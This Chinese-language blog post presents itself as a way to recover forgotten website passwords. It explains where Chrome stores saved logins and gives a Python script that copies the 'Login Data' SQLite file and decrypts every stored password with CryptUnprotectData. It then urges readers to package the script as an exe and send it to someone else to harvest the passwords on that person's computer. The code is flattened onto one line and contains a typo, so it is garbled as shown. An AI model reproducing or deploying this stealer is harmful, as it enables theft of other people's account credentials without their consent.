1. 程式人生 > 實用技巧 >當你忘記網站上的密碼時怎麼辦?Python如何快速幫你找回?

當你忘記網站上的密碼時怎麼辦?Python如何快速幫你找回?

前言

本文的文字及圖片來源於網路,僅供學習、交流使用,不具有任何商業用途,版權歸原作者所有,如有問題請及時聯絡我們以作處理。

現如今瀏覽器可謂是五花八門,火狐、UC、360、QQ 這些瀏覽器不論美觀還是所謂的安全方面都做的很符合我們需求。但如果你的工作與 IT 掛鉤,無疑 Chrome 將是很多朋友的首選。當然這篇文章並不是要介紹 Chrome 瀏覽器的使用,首先我要講的是 Chrome 瀏覽器的密碼儲存機制。

1.檢視 Chrome 儲存的密碼錶單

點選 Chrome 瀏覽器右上角,進入設定->高階->管理密碼(根據瀏覽器版本不同,可能存在部分差異),亦或者在 Chrome 瀏覽器中輸入 **chrome://settings/passwords** 你會看到很多已儲存過的密碼錶單資訊,當然如果你要檢視密碼詳情,就要輸入電腦的系統管理員密碼,看到這裡是不是覺得很簡單?但如果我們能像電影裡的黑客一樣瞬間拿到其他電腦的密碼豈不是更有趣?

2 . SQLite 在哪,又該怎麼查詢?

那麼, Chrome 的密碼是以什麼方式進行儲存的呢?答案就是用 “SQLite” 。首先,進入我的電腦,位址列中輸入以下程式碼,進入 app 的資料儲存路徑:

C:\Users\Administrator\AppData\Local

之後進入 chrome 瀏覽器的密碼資料庫統一地址為:

Google\Chrome\User Data\Default\Login Data

3.檢視 Chrome 瀏覽器儲存的密碼

拿到了 SQLite 資料庫檔案,我們隨便找個 sqlite 工具,就能開啟這個資料庫了!

開啟資料庫,我們看到有三張表:logins 、meta、 stats,其中 logins 中就儲存著你儲存的網址、使用者名稱、密碼資料,分別是: signon_realm,username_value,password_value,但問題來了 password_value 的欄位看著是空的,因為那裡被加密了。

CryptUnprotectData 資料可以在 win32crypt 中找到,要使用該模組,需要以下程式碼進行安裝:

pip install pywin32

4.準備工作做好後,就開始程式碼環節吧~

import os
import shutil
import sqlite3
import win32crypt db_file_path = os.path.join(os.environ['LOCALAPPDATA'], r'Google\Chrome\User Data\Default\Login Data') tmp_file = os.path.join(os.environ['LOCALAPPDATA'], 'sqlite_file') print(tmp_file) if os.path.exists(tmp_file): os.remove(tmp_file) shutil.copyfile(db_file_path, tmp_file) conn = sqlite3.connect(tmp_file) for row in conn.execute('select signon_realm,username_value,password_value from logins'): ret = win32crypt.CryptUnprotectData(row[2], None, None, N one, 0) print('網站:%-50s,使用者名稱:%-20s,密碼:%s' % (row[0][:50], row[1], ret[1].decode('gbk'))) conn.close() os.remove(tmp_file)

通過解密,我們獲取到了 Chrome 瀏覽器儲存的使用者名稱密碼,然後儲存至文字。

之後我們只需要使用 **pyinstaller -F xxx.py** ,將程式碼打包成 exe 發給對方,就可以在他的電腦上獲取密碼了!雖然這個偽黑客很簡單甚至有些雞肋,但往往在一些事情上就是因為自身的大意而導致資料的洩露,在這裡也要加強自身保密意識!Chrome 瀏覽器儲存密碼雖然很爽,但記在腦子裡還是最安全喲